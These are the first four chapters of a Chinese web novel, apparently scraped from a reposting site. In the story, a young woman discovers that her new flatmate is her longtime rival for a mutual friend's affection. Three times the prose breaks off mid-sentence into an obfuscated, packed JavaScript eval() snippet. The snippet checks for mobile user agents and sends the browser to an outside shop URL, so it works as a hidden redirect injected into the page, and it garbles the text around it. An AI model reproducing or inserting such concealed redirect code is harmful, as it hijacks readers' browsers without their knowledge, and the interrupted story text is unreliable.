《和清冷情敌同居后》 1. 第 1 章 首发晋江文学城,谢绝转载,感谢支持正版。 第一章 灼热的呼吸喷在颈边,那块肌肤火烧似的烫,秦欢艰难喘了一口气,快要窒息。 喉咙像被人勒住了。 视线一片模糊,秦欢晃了晃混沌的头,视野中心模糊散开,逐渐浮现出一片起伏的,荡漾的,柔软的雪白。 左边靠近心脏的地方,有颗小小的痣,朱砂似的,点缀在一片雪白中,浓艳得很。 女人的气息笼了上来,秦欢蹙着眉愣了几秒。 像失了智似的,忽而捧起那雪白,低头咬了一下。 很香。 鼻尖顶到的地方,很软,陷进去一小块,馥郁芬芳涌进鼻腔,她不由得深深吸了一口气。 肩膀被毫不客气拍了一下。 紧接着脸被人毫不留情掐住,力度半点不含糊,秦欢“嗷呜”一声,松了嘴。 愤愤不平抬起眼,视线沿着那片圣洁的软白,茫然地向上寻去—— 一道白光劈开视野。 秦欢猛地睁开眼睛,呼吸粗重。 窗外的碧空被高楼的轮廓截断,随着意识的清醒,逐渐变得清晰、真实。 秦欢眨了眨眼,松下一口气,又重新闭上了眼。 窗帘没拉拢,即使闭着眼,视野里也一片亮堂。 昨天一口气跑了两家面试,又去看了租房,回酒店时实在累得不行,连窗帘都没顾上拉,倒头就睡沉了。 在枕头底下摸出手机,秦欢看了下时间。还早,才八点过。 秦欢侧过身,蒙上被子,想再睡个回笼觉——主要是有点想继续刚才那个梦。 谁知道脑子反倒越来越清醒,别说继续梦了,就连刚才脑子里残留的那点梦境碎片,这会儿也飞快地烟消云散了。 秦欢感到一阵没来由的懊恼。 躺了没几秒,秦欢猛地一脚蹬开被子,整个人从床上弹坐起来。 这下人是完完全全清醒了,那点懊恼也跟着最后一丝混沌消散干净。秦欢别过头,在心里骂了一句:神经病。 ……她这是在干什么? 或许是这阵子压力太大,性压抑了…… 秦欢沉沉吐出一口气,掀开被子,下床洗漱。 酒店的卫生间镜子,灯光一向打得很好。秦欢看着镜子里的女人,忍不住臭美了好一会儿,对着镜子拍了几张自拍。 手机里拍出来总没有镜子里好看,秦欢摇了摇头,往牙刷上抹牙膏,边刷牙边看昨晚岳雨桐给她发来的消息。昨晚秦欢睡得早,没来得回复。 岳雨桐问她工作和房子找得怎么样了。 秦欢含着牙刷,单手打字回复:工作还在找,昨天那两场面试感觉不怎么样,公司也不太行。 点击发送。 她继续编辑:房子找到啦,我觉得各方面都还不错,是个两室一厅,跟人合租,近地铁站。 字刚打完,泡沫差点呛进喉咙,秦欢连忙吐掉,又含了口水漱了漱。再拿起手机时,岳雨桐的消息已经回了过来。 【桐:工作的事别急,大城市机会多,好工作常常是不期而遇的。】 【桐:租房的话……我正好认识一个人。她也是合租,在那住了挺久,房东人好,周边环境也不错,租金比较友好。她室友最近要搬走,空出一个房间,你要不要去看看?】 聊天框顶端的“对方正在输入中…”不停闪烁。 秦欢擦了擦手,把刚才编辑好的信息发送了出去。 几乎是同一时间,她看到岳雨桐撤回了最后那条消息。 【桐:有错字。】 岳雨桐转而问起她新租的房子。 房子是昨天定下的,秦欢一个多星期来看过好几个房子,这个性价比最高,环境、安全性都好。原室友是因为新工作通勤太远才搬的。 秦欢心里有了比较,前天看了房子,昨天傍晚又去了一趟,直接签了合同,押二付一。 岳雨桐问她起新室友,毕竟是合租,室友要是个难相处的,房子性价比再高,住着也闹心。 秦欢回复:【应该挺不错的。】 她两次去看房时新室友都不在,要搬走的那个女生带她看房。女生东西已经搬出去了,但因为合同没到期,得找到续租的人才能拿回押金。房间里空荡荡的,没留私人物品。 客厅东西不多,厨房很干净,新室友应该不怎么做饭。冰箱里很空,只放了几瓶酸奶……这生活习惯莫名让秦欢想起某个人。 秦欢垂眸,轻蹙眉头。 简单收拾后,秦欢拖着行李箱下楼,从酒店出发直奔新租的房子。 天气很好,阳光明媚,天空海一样蓝,好在入了秋气温并不算高。 新租的房子临地铁站,秦欢从地铁口出来没多久就到了租房门口。 新房子客厅朝南,光线充足,亮堂堂的。秦欢卧室的光线也很好,撩开窗帘看见明媚的天色,秦欢深呼吸一口气,心情舒畅。 风从窗户吹了进来,微凉的风拂过薄汗浸湿的脖颈。 秦欢休息了十几分钟,开始收拾卧室。 她来鹭围就带了一个小行李箱,因而需要添置的东西有点多,一部分在外卖平台上下单,一些比较大件贴身的,比如被子枕头什么的,则是去附近的家居店里买。 这是笔不小的开销,秦欢肉痛了一下。抱着新买的、绵软蓬松的被子铺上床,又躺上去滚了几圈后,那点心疼就被躺在新被子上的踏实感和舒适感取代了。 躺在床上刷了会儿手机,求职APP的信息弹了出来。 秦欢上份工作是三个月前辞的。辞职后去旅游放松了一段时间,如今存款逐渐见底,她又不想没出息地跟家里低头要钱,于是来鹭围找工作。 虽说人生地不熟的,但起码还有个岳雨桐在这里,也不算太难过。 新环境,新气象。 秦欢从床上蹦起来,继续收拾房间。 客厅安静整洁,倒是不需要怎么收拾,秦欢只拖了下地。视线扫了一圈客厅,光溜溜的,东西很少,甚至不太有居住痕迹。总忍不住想添点什么,比如在一束插花,一两个可爱的抱枕,或者毛绒玩具什么的。 已是黄昏,秦欢下楼扔垃圾,顺便吃晚饭。 晚饭吃得有点撑,她又沿着街道散了会儿步。路过一家花店,想到那位还没见过面的新室友,秦欢也给她带了一束向日葵。 给新室友留个好印象总归没错。 天色渐渐暗了,秦欢抱着两束花回家。 一束她醒花修剪后插进新买的花瓶里,摆在自己卧室的桌上;另一束则放在客厅的茶几上,等着它晚归的主人。 卧室门开着,秦欢坐在床边,给桌上那束花拍了张照片,发给岳雨桐: 【楼下花店买的,漂亮吧!】 秦欢走进客厅接了杯水,在沙发上坐下,余光里有什么东西轻轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149538|196440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一晃,她偏过头。 阳台门没关,晚风吹进来,拂动窗帘。 秦欢走过去把阳台门拉好,转身走回沙发前,一垂眼,视线落在茶几上放着的、金灿灿的向日葵花束。 这种色彩明亮的东西会让人心情变好,秦欢想,希望新室友能喜欢。 说曹操曹操到,门口隐约传来动静,似乎是新室友回来了。 秦欢站起来,抱着那束向日葵,往门边走了几步。 但等了一会儿,门却没有开,只有钥匙插进锁孔摩擦转动的声音。 秦欢想了想,走过去,伸手拉开了门。 暗红色的门向内敞开,视野随之铺展。她的视线从下往上掠过。 笔挺的西裤、收束的腰线、简单合身的衬衫,再往上,微卷的发丝几缕垂落胸前,轻轻晃动。 屋内冷白的灯光和楼道里暖黄的光晕交融在一起,在门里门外晕开一条模糊的边界。 秦欢脸上扬起惯常的开朗笑容,声音明快: “你好呀!我是你的新……” 视线终于落在女人脸上。 尾音戛然而止,秦欢笑容瞬间僵硬。 女人站在门外。楼道昏黄的灯光下,她的皮肤依旧白得晃眼,冷色调的五官与周遭的暖光格格不入。 微卷黑发松拢在耳后,扫在肩上,衬衫领口解开最上一颗纽扣,露出半掩的锁骨线条。剪裁合体的西装裤包裹着笔直的长腿,身形挺拔利落,自带一种疏冷气质。 女人神色冷淡。 抬眼动作也和秦欢记忆里的模样分毫不差。 视线对上,秦欢脑子“嗡”地一声—— 下意识地,条件反射地,“咚”一声,猛地把门关上了。 抬手压着心脏,秦欢猛地眨眼。 见鬼了。 ……还是又做梦了? 不然门外怎么会是程清姿?!! 秦欢下意识惊慌地往后踉跄了几步,喉咙艰难地滚了滚,显然还没做好心理准备应对眼前的局面。 就在她大脑还处于一片空白时,眼前的门忽然“咔哒”一声轻响,开了。 程清姿推门而入,利落地拔出钥匙,反手把门关上。她把包挂在玄关的挂钩上,弯腰换鞋。 “你是我的新室友。” 声音平静无波,听不出什么情绪。 因程清姿惯常的淡定动作和表情,秦欢感觉到无比烦躁。 尤其对比之下,她的慌张和愕然如此明显,秦欢感觉自己好像又被程清姿狠狠侮辱了一次。 ……断然不能。 莫名其妙的、习以为常的攀比情绪涌上来,压过了慌张,她吸了吸气,微微抬着下巴,看向女人,尽量让声音听起来不卑不亢:“我不知道是你。” 程清姿已经换好了鞋,直起身,伸手又松了一颗衬衫纽扣,露出一截更明显的锁骨线条。她的目光落回秦欢脸上,语气平淡: “现在知道也不晚。” 晚了。 秦欢咬着牙,心中一片悲凉。 东西已经搬进来了,卧室布置好了,合同签了,租金和押金也全部付清了。没有合理的理由,现在想退租,几乎不可能。 秦欢:…… 救命。 谁来救救她。 …… 世事难料。 秦欢没想到有朝一日,会和昔日情敌程清姿,成为抬头不见低头见的合租室友。 2. 第 2 章 程清姿和秦欢曾是彼此心照不宣的情敌。 在彻底闹翻之前,两人也曾有过一段表面和气的日子,成了外人眼里关系不错、相处融洽的朋友。但实际上,彼此心里都再清楚不过,她们只是表面和气的伪友。 程清姿是岳雨桐的发小,秦欢则是岳雨桐高中认识的闺蜜。 一个天生活泼,一个性子冷淡,本就不算合拍,在三人友情里总隐隐有些较劲的意味。这段稀薄且摇摇欲坠的友情,大半时间全靠岳雨桐在中间辛苦维系。 岳雨桐一开始并没有察觉。 那会儿秦欢顾念着岳雨桐夹在中间辛苦,并不想让好友为自己为难,因而对程清姿还算友善客气。 程清姿大约也是同样的心思。她性子虽冷,倒也没直接给秦欢脸色看,偶尔碰面还能打上几句招呼,维持着最基本的体面。 后来,这份脆弱的平衡被打破了。 因为秦欢发现,岳雨桐的这位发小,看起来清冷疏离,似乎暗恋岳雨桐。 仔细想想并不意外。程清姿性子冷清,身边朋友寥寥,而岳雨桐不仅成绩优异、模样出挑,待人更是温柔细心。程清姿对这样一个人产生好感,似乎也是情理之中的事。 但是秦欢对此勃然大怒。 在她看来,这无异于程清姿利用发小的身份作掩护,实则包藏着下流的心思。她替好友感到不值,更为自己印证了长久以来的不喜——她本来就觉得程清姿此人冷心冷情,城府颇深,远不值得岳雨桐那样真心相待。 心思被人当面点破,程清姿并未失态。 她静静等秦欢把那番义正辞严的话说完,才抬眼看向对方,语气冷冷的: “你呢,秦欢?你敢说……你就没有同样的心思吗?” 三人相处时,秦欢身上那股若有若无的敌意并非她的错觉。她们彼此都心知肚明。 四目相对,秦欢一愣,下意识反驳:“我才不跟你一样龌——” “龊”字到了嘴边,却不知怎的卡住了。 秦欢看着对面程清姿冷冰冰的脸,支吾了半天,最后憋出一句: “程清姿你……你少诬陷我!” 然后气冲冲逃了。 程清姿并没有诬陷她。 她不知所起、甚至自己都没有察觉的少女心事,就这样在点破情敌心思的那天,一并被情敌一语点破了。 岳雨桐对此并不知情。 - “借过。” 一如从前,冷冰冰的调子,轻易将秦欢从回忆里揪出来。秦欢抖了一激灵,抱着花往墙边靠了几步,让开玄关通道的位置。 程清姿没有动,只是望向秦欢,然后垂眼,如墨眉毛尾端往上一挑。 秦欢顺着程清姿的视线低头看去,怀里灿烂热烈的向日葵忽然变得滚烫,一瞬间灼醒了她的神智—— “不是送给你的!”她急声辩驳。 受不了那冷淡的视线落在上面,秦欢忙把花藏到身后,挺直腰背,抬着下巴看向程清姿。 两人真真正正撕破脸,是在四个月前。 如今在意料之外的地方狭路相逢,秦欢绝不想在气势上输程清姿一头。 只是可惜,这会儿的天时地利好像都有点偏心程清姿。 程清姿个子出挑,成年后高冷气质愈发炉火纯青。 在读书的时候这种气质并不讨喜,如今步入社会工作却自带一种强势又引人探究的气场。更别说她刚下班回来,一身职业装干净利落,长卷发落在肩上,此刻站在玄关的灯光下,整个人显得气质卓绝。 反观秦欢,身上套了件软乎乎的家居服,颜色和样式都很软萌。单纯打扮来看,气势上已经输了一截。 程清姿没说话,只是往前朝秦欢走来。 那截半漏出来的锁骨似盛着雪光,在秦欢眼前晃了一下。 不知怎的有点扎眼睛。 秦欢眨了眨眼,别开视线,下意识往后退了一步,又一步。直到身后的向日葵压到了墙壁,发出细微的咔嚓声,她才转回视线,看着旁边空出来的位置,语气里带着不满: “这么宽了还不够你走?” 干嘛非得往她眼前怼。 “不是送我的?”程清姿轻轻歪了下身子,脸上依旧没什么表情,目光探向她身后那抹亮黄,“那你刚才——” 秦欢知道程清姿说的是,自己先前抱着花笑盈盈迎在门口的事。 她皱了下眉头,索性坦言:“本来是送给新室友的,既然是你,那就算了。”把花往身后藏了藏,语气生硬地补上一句,“哪有送花给情敌的道理。” 这花她扔进垃圾桶都不会给程清姿。 程清姿脚步顿住,目光从她身后收回,不紧不慢地,落回到秦欢脸上。 难得的,那双灰玻璃珠子似的眼睛里,除了惯常的冷,还有一抹清晰明显的嘲讽。 “情敌……” 长睫在暖白的灯光下轻轻一掀,程清姿唇角很轻地勾了一下,“你很长情啊。” 秦欢眼珠晃了一下,对上对方玩味且嘲讽的眼神,她愣了愣。 忽而恼羞成怒地回敬:“比不得你。” 话不投机半句多。更别说情敌见面,分外眼红。 此刻也顾不上什么气势较量了,秦欢抱着那束向日葵转身就走,几步跨进卧室,反手“砰”地一声关上了门。 把花扔在床上,秦欢在微信上和房东说了下能不能退租的事,毕竟才住了一天。 房东阿姨先是问她是不是房子哪里出了问题,她可以想办法解决,随后委婉提醒:合同已经签了,按约定,押金是退不了的。 秦欢心道:房子没什么问题,人有问题。 秦欢盘腿坐在床上,伸手抹了把脸。 逐渐冷静下来。 手机响了两声,弹出房东发过来的语音条,秦欢长按了一下,转换成文字:【房东阿姨:小秦啊,房子没问题的话,那是和小程相处不融洽吗?】 愤怒褪去,理智慢慢回笼。秦欢心里清楚,现在想拿回押金退租,确实不太占理。她长长呼出一口气,打字回复: 【有点过节。】 房东很快又回了语音。秦欢依旧长按转成文字。 【两个女孩子能有多大过节啊,相逢就是缘分,住一起有个照应多好……】 后面的话秦欢没再细看,只是在心里默默反驳了第一句:有,而且过节多了去了。 她回了句:【没事了阿姨,麻烦您了。】 把手机放下,起身推开窗户。 夜风涌进来,秦欢靠在窗边,望向远处明明灭灭的城市灯火,以及不远处街道上车灯连接成的红流。 卧室门关着,外面静悄悄的。她听不见客厅有任何动静,又或者,客厅本来就没什么动静。 秦欢转过身,余光落在那束热烈的向日葵上,她想起抱着花在门口傻笑着迎程清姿的蠢样子,恨不得穿越回去给自己一坨。 闭眼,深呼吸。 退租不要押金重新找房子是不太可能了,她囊中羞涩,而且平心而论,这里的房租在同等条件下确实算便宜的了,已经算是她捡的漏。 秦欢摸着胸口,试图说服自己: 虽然在同一个屋檐下生活,但努努力,应该也能做到井水不犯河水……的吧? 而且—— 秦欢转念一想,凭什么她要搬? 折腾一大圈废了这么大功夫,白扔两个月房租的押金和这个月房租,难道就为了躲开程清姿? 哼,程清姿在她这儿还没这么大的面子。 不就是个情敌么,有什么好怕的。而且岳雨桐又不在这里住,难道还怕程清姿和她打起来不成? 她盯着那束向日葵,心思豁然开朗: 这是合租,客厅的空间她也有份。凭什么要她像只见不得光的老鼠一样躲回房间,把地盘让给程清姿? 这么一想,刚才那股憋下去的气势瞬间又回来了。 秦欢雄赳赳气昂昂地抱起那束向日葵,一把拉开卧室门,大步流星走进客厅。 客厅空无一人。秦欢磅礴的气势做给了空气看。 程清姿大概 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149539|196440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回自己房间了。 秦欢朝那扇紧闭的房门看去,随后抬手关掉客厅主灯。周围陷入一片昏暗,一道笔直的光线从程清姿的房门底下漏出来,清晰扫在光滑地板上。 她果然在房间里。 客厅的灯又亮起来。 秦欢抱着花走进卫生间,接了一盆清水,把向日葵的根部浸进去。 跑回房间拿出新买的剪刀和花瓶——花瓶是外卖软件上买的,第二件半价,秦欢买了两个,本来想着给新室友用的,现在看来也没这个必要了。 秦欢蹲在卫生间地板上,开始一支一支修剪向日葵的花茎,将它们插进装了水的花瓶里。 虽然出了点意外,但今天总体还是不错的。她成功租到了房子,房子本身挺好的,她还给自己买了漂亮的花。 这么想着,秦欢不知不觉哼起歌。 身体也跟着唱歌节奏轻轻晃动起来。 过了一会儿,她毫无防备地、随意地一偏头—— 程清姿跟个女鬼似的,悄无声息斜倚在卫生间门口,不知看了她多久。 白衬衫黑西裤,长腿细腰,简直像一尊来勾魂索命、却又过分好看的黑白无常。 秦欢被结结实实吓了一大跳。她猛地一抖,手里的花瓶差点脱手:“程清姿你吓死我了!” 她气冲冲站起来。 那道冷淡的视线也随之抬起,一路稳稳落在秦欢脸上,程清姿淡淡开口:“我要用卫生间。” 语气一如既往地冷,并且惜字如金,只是……听起来似乎有点虚弱,和刚才嘲讽她的样子不太一样。 视线凝在眼前人脸上,秦欢后知后觉发现,程清姿脸色不太好。 脸很白,不是方才见面时那种冷掉的白皙,而是泛着淡淡青灰的、不健康的苍白。那人微微蹙着眉头,似在等她让路。 “哦……等下。” 秦欢回过神,忙站起来把地上的水渍收拾干净,随后抱着花走了出来。 她刚站定,身后的卫生间门便“砰”一声关上了。 呕吐的声音隔着门,从卫生间里传出来。 ……这是真不舒服? 秦欢把花放在客厅茶几上。 回过头,看着那扇紧闭的玻璃门。 既然不舒服,刚才在门口干嘛不直接说,还站在那里看了她那么久? 秦欢在客厅的沙发上坐了好一会儿,才听到卫生间门打开的声音。 她扭头看去,程清姿正从里面走出来。大约是人不舒服,走路也没了平时那种清冷笔挺的劲儿,反而微微垂着脖颈,显出一种少见的疲态。 秦欢莫名想到了一句诗,夜深知雪重,时闻折竹声。 程清姿现在就像被雪压折的竹子。 “你……”到底还是室友,更别说她还是岳雨桐的发小,秦欢不得不把那些情敌的过节暂且按下,开口问道,“你怎么了?” 程清姿的脸色依旧苍白,但先前那种骇人的青灰色已经褪去一些。她没有应声,只是径直走到饮水机旁接了杯温水,又从旁边的储物柜里拿出一小包东西,撕开,沉默地坐在沙发上吃了起来。 秦欢低头看去,程清姿手上拿的是一包苏打饼干。 她唇色也淡,正垂着眼,蹙着眉,小口小口地咬着饼干,和着温水慢慢咽下去。 吃了几口,程清姿把饼干放在茶几上,起身在旁边柜子里掏出一个热水袋,转头看向饮水机指示灯——还是红灯,热水还没烧开。 于是把热水袋放在茶几上,坐回沙发上,整个人疲乏地靠着沙发扶手,斜斜躺着,垂着眼。 秦欢手足无措地坐在旁边。 偶尔眼珠转向眼尾,她瞥见程清姿长长的睫毛搭在冷玉似的肌肤上,盛着暖白的灯光,五官立体,清冽分明。 秦欢想起高中时同学对程清姿的评价:高岭之花。 这评价确实贴切,程清姿长得足够漂亮,为人也足够高岭,一视同仁地冻着身边所有人,唯有岳雨桐是个例外。 秦欢也算是个例外。 不过,是反面的例外。 3. 第 3 章 这朵高岭之花对旁人虽然疏离,至少维持着基本的礼貌与体面。 唯独对秦欢,那是明面上的厌烦和不耐。向来寡言少语的程清姿,也只有在面对她时,才会破例地、近乎刻薄地针锋相对、冷嘲热讽。 饮水机的水咕噜咕噜烧着,随后轻轻“滴答”一声。 秦欢回头,指示灯已经变成了绿色。 她站起来,赶在程清姿动作之前,先一步拿起茶几上的热水袋,走过去接满了热水。等她走回来,程清姿已经从斜靠在扶手的姿势,换成了规规矩矩倚在沙发靠背上的坐姿。 茶几横在两人中间,秦欢把灌好的热水袋递给她,视线落在茶几上那半包苏打饼干上: “你没吃晚饭?” “多谢。”程清姿接过热水袋,将它按在肚子上,声音因虚弱而显得比平日更淡,“没胃口。” 秦欢扯了下嘴角,“是啊,等养出胃病进医院就有胃口了。” 程清姿抬眸看了她一眼,又垂下眼眸,似乎是并不想和她多说:“与你无关。” 秦欢转过身,从茶几旁绕了过去,在离程清姿不远不近的另一侧坐下——倒不是她不想离得更远些,只是沙发就这么大,她总得找个地方坐。 “当然和我无关了。”秦欢深吸一口气,眼睫垂下,掩住半边眸光,“只是怕你回头给岳雨桐添麻烦而已。” 这话并非毫无来由。 程清姿高中时身体时不时有些小毛病,身为发小,岳雨桐没少为她奔走。秦欢看在岳雨桐的份上,也不得不跟着帮忙。 程清姿那时候很瘦,胃口也差,学习上却对自己极狠,时常为了省时间干脆不吃饭。这位高岭之花似乎不太懂得珍惜自己,也不太会照顾自己。 直到有一次,她直接晕倒在了教室里,正巧被路过的秦欢和岳雨桐撞见。 那会儿秦欢对她实在谈不上什么好感。 她把人背到医务室,正赶上校医开会,里面空无一人。把人放下后,秦欢看着那人躺在床上迷迷糊糊蹙眉的样子,退了出来。 秦欢去了小超市,买了个热水袋,灌满热水,又顺手拿了包苏打饼干——她见过好几次程清姿犯胃疼的样子,她知道这两样东西对付这种空腹痛,比干等着有用。 回到医务室里,她把这两样东西塞给岳雨桐,自己则到走廊外吹风,一直等到校医来,没多久岳雨桐搀着面色苍白的程清姿出来。 看着那人虚弱的样子,秦欢当时没忍住嘲讽了一句:“省下吃饭上厕所的时间来学习,成绩有提高一点吗?” 程清姿脸色白得像纸,却也没耽误她抬起眼,冷冷地白了秦欢一眼。 程清姿大概并不知道是秦欢把她背过来的。而秦欢那时性子也傲,不屑于解释,更不许旁边的岳雨桐多嘴。 如今这么多年过去了,程清姿依旧会胃痛,依旧不吃饭,唯一有点长进的,大概就是会在家里备热水袋和苏打饼干了。 秦欢轻轻勾了下嘴角,像是被气笑了。 且不论什么情敌不情敌的,光是合租室友是个时不时就要倒下的“病秧子”这一点,秦欢怎么着都觉得烦。人到时候真在屋里晕了,她还能不帮忙,还能不打救护车? 她抱着手臂靠在沙发上,盯着地板上灯的倒影。 余光在茶几上扫过,先是被那束向日葵明晃晃的金黄刺了一下,随即轻轻一晃,落在了一旁的程清姿身上。 程清姿正抱着热水袋倚在沙发靠背上,微微仰着头,闭着眼,唇线轻轻抿着。 几缕黑色的发丝缠进她白皙的脖颈里,随着呼吸微微起伏。脸上的血色似乎回来了一些,不像刚才那样苍白得吓人了。 秦欢看着那道凸出来的锁骨,一时有些出神。 四个月前程清姿有这么消瘦吗? 忽地一顿。 秦欢猛地闭上眼,摇头,把某些即将跳进脑海的画面甩开,秦欢有些恼火,心道:程清姿瘦不瘦跟她有个屁关系! 她气冲冲睁眼,拿起手机胡乱划拉转移注意力。 可手机跟中病毒似的,变得索然无味起来,她的视线总是不自觉地,掠过茶几上那束开得正好的向日葵,慢慢落在程清姿脸上。 好歹算室友,她总不能真不管程清姿。 大概过了半个小时,程清姿的胃痛似乎缓解了。她脸色恢复,又变回了那种透着距离感的冷白,整个人也重新凝起那份熟悉的、拒人千里的冷感——就和刚才两人在门口对峙时一样。 程清姿稍稍偏过头,没什么情绪的视线,不紧不慢地,对上了秦欢算不得光明正大的偷瞟。 秦欢一愣,随即几乎是本能地、蹭地一下坐直了身体,全身的防御机制瞬间开启。 空气里短暂偃旗息鼓的硝烟味,又重新弥漫开来。 秦欢对此并不抵触,反而从心底涌起一股莫名的心安。 这才是她和程清姿最习惯的、也是最正常的相处模式:剑拔弩张,泾渭分明,情敌就该是这样。 程清姿唇角轻轻勾了一下,秦欢看得出来,那是嘲讽,是冷笑。 像是急于撇清什么,秦欢开口道:“我没有偷看你。只是作为室友……而且万一你真出了什么事,雨桐又要担心。” 岳雨桐天天泡实验室,课业本来也忙,秦欢可不愿意她再为这个连自己身体都不珍惜的发小,分出更多宝贵的时间和心神。 程清姿垂眼,唇角那点若有似无的笑意淡了下去。 “你管得挺多。”程清姿淡淡道。 秦欢:“你事儿挺多。” 隔着一层薄薄的衬衫布料,热水袋的温度暖着腹部,胃痛早已平息,那片暖意还依偎在肌肤上。程清姿缓缓抬眸,视线偏向一旁,最终若无其事地落在了茶几上那束花上。 花开得灿烂,颜色灼目。 程清姿嘴唇动了下,似是想说什么,还没开口,秦欢放在沙发上的手机忽然响了。 秦欢拿起手机一看,是岳雨桐来的电话。 她下意识地就要起身往房间走,上半身都已经抬起来了,却又忽地顿住——凭什么她要躲着程清姿? 她想了想,又坐了回去,按下了接听键,也顺便按下了免提键。 “欢欢,我看到你给我发的照片了,花真好看!”电话里传来岳雨桐雀跃的声音,带着笑意,“搬进新家第一天,感觉怎么样啊?” 一旁,程清姿慢条斯理地拿起茶几上的水杯,低头喝了口水。垂下的眼睫挡住了眸光,只听她鼻腔里,轻轻冲出一声冷哼。 秦欢自然听到了。 情敌见不得她和岳雨桐说话,秦欢非要说,还要开心地夹着说: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149540|196440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “很好啊,房子采光很棒!楼下风景也不错,阳台可宽敞了,离地铁站也近。对了,今天下午我还去附近逛了逛,发现了好多好吃的小店!” 她听见电话里有些许杂音:“你才从实验室回来吗?” “嗯嗯。”电话里传来轻轻一声叹,“今天事有点多,开组会开到了很晚,还被导师骂了……” 女人话音一转,高昂起来:“不过我是全场被骂得最少的!有个师兄被骂了整整一个小时,我就被骂了两句,好耶!” 秦欢噗嗤一声被逗笑,笑完之后才意识到旁边还有个程清姿,于是往旁边偷偷瞟了一眼。 程清姿正端着水杯,一只手扶着杯柄,另一只手拿着手机搁在膝盖上,垂着眼看手机,似乎不怎么在意两人的对话。 ——不在意个屁。 程清姿现在这副样子,八成是咬着后槽牙在装模作样。她从高中就这死出,面上看着云淡风轻,心里指不定在意成什么样了,且完事之后,再不动声色地,把吃到的那份“醋”,变着法儿从秦欢身上讨回来。 这位校园女神,高岭之花,很是睚眦必报。 “欢欢……”电话里岳雨桐的声音从模糊到清晰,“秦欢!你在听我说话吗?” 秦欢回神,忙道:“噢噢……在听的,怎么啦?” “周天晚上我们一起吃个饭吧,你来鹭围我们还没见过面呢。” “可以啊,”秦欢玩笑道,“周六也一起吃嘛,想见你。” 电话那头的人却开始支支吾吾起来,“周六……周六不太行诶。” 不等岳雨桐说话,秦欢的余光已经先一步掠向身旁。 程清姿依然垂着眼,只是那只扶着杯柄的食指轻轻弹了一下,指甲敲在陶瓷杯壁上,发出“嗒”的一声微响。 秦欢笑:“约了程清姿?” “额……那个……那天有事啦。” 秦欢没再追问。 等挂了电话,程清姿一直动弹的食指终于停了下来,那惹得秦欢烦躁不已的敲击声响也终于停了。 秦欢深吸一口气,时候不早了,刚站起来要往卧室走,身旁传来程清姿冷冰冰的声音。 “岳雨桐周六有事,”她抬起眼,目光直直朝秦欢看过来,“就是和我吃饭。你有意见?” 秦欢回头。 那人坐在沙发上,微微抬着下巴。 白衬衫,长卷发,袖口挽起一截,露出手腕上一块设计简约的表。依旧是那副高岭之花不近人情的模样,唇角勾着一丝极淡的弧度,可秦欢感觉不到半分笑意。 “有意见也没用,你不是她的谁。” 程清姿的语气平静,“我跟她一起吃过饭的次数,恐怕比你跟她的……”她停顿了一下,像是找不到一个合适的词,“总之,要多得多。” 她们是发小,自幼相识。 在这一点上秦欢确实比不得。 但—— 秦欢扯了下嘴角,本能反击:“你除了时间比我长,还有什么?” 开口原是想压一压对方气势,奈何太冲动了没组织好语言,导致听起来有点怪,连对面的程清姿都轻轻蹙了下眉头。 秦欢喉咙滚了滚,立刻又接上一句,试图扳回一城: “要论她在谁身边更轻松自然,我觉得是我呢。” 4. 第 4 章 “你是她朋友,”程清姿刻意咬重“朋友”两字,抬眼看向秦欢,“雨桐在朋友面前,当然会轻松自然。所以这么多年,你一直是她的——好、朋、友。” 这可是戳秦欢痛处了。 从高中被程清姿戳穿心思,到后来两人心照不宣地做情敌,甚至上了大学及毕业后,她一直是岳雨桐的好朋友。 秦欢不是不想说,也并非甘于在朋友身份里待一辈子。 只是不敢说。 岳雨桐没有给过她可能喜欢她的错觉,秦欢无比清楚,她在岳雨桐那里没有越界的可能性。说出口了,或许连好朋友都没得做了。 所以,秦欢才会这么一直一直……一直都讨厌着程清姿。 在岳雨桐那里,只有程清姿是独一无二的、无法替代的存在。 她们是相伴多年的发小,一同从穷苦小山村里走出来,她们痛苦和欢喜都相似,她们彼此怜惜,她们有着秦欢无从窥探、互相取暖依偎的过去。 她们互相扎根在彼此的记忆里多年,旁人无法撼动一丝一毫。 岳雨桐是程清姿的例外,程清姿又何尝不是岳雨桐的例外。只是秦欢尚不清楚,这份例外里,有多少爱情的成分。 但这已经足够秦欢妒忌。 于是开口已然夹枪带棒:“你说我这么多年一直只是个朋友,那你呢?你又好到哪里去?” “你在她身边的时间比我长,然后呢?”秦欢笑了下,望向沙发上坐着的那人,“这么长的时间,就算是石头也该焐热了,木头也该开窍了吧。” 她微微仰着下巴,朝程清姿轻轻挑眉,意思是:所以这么多年你还在原地踏步,依旧是她的发小,没有别的什么身份,这什么意思就不用多说了吧。 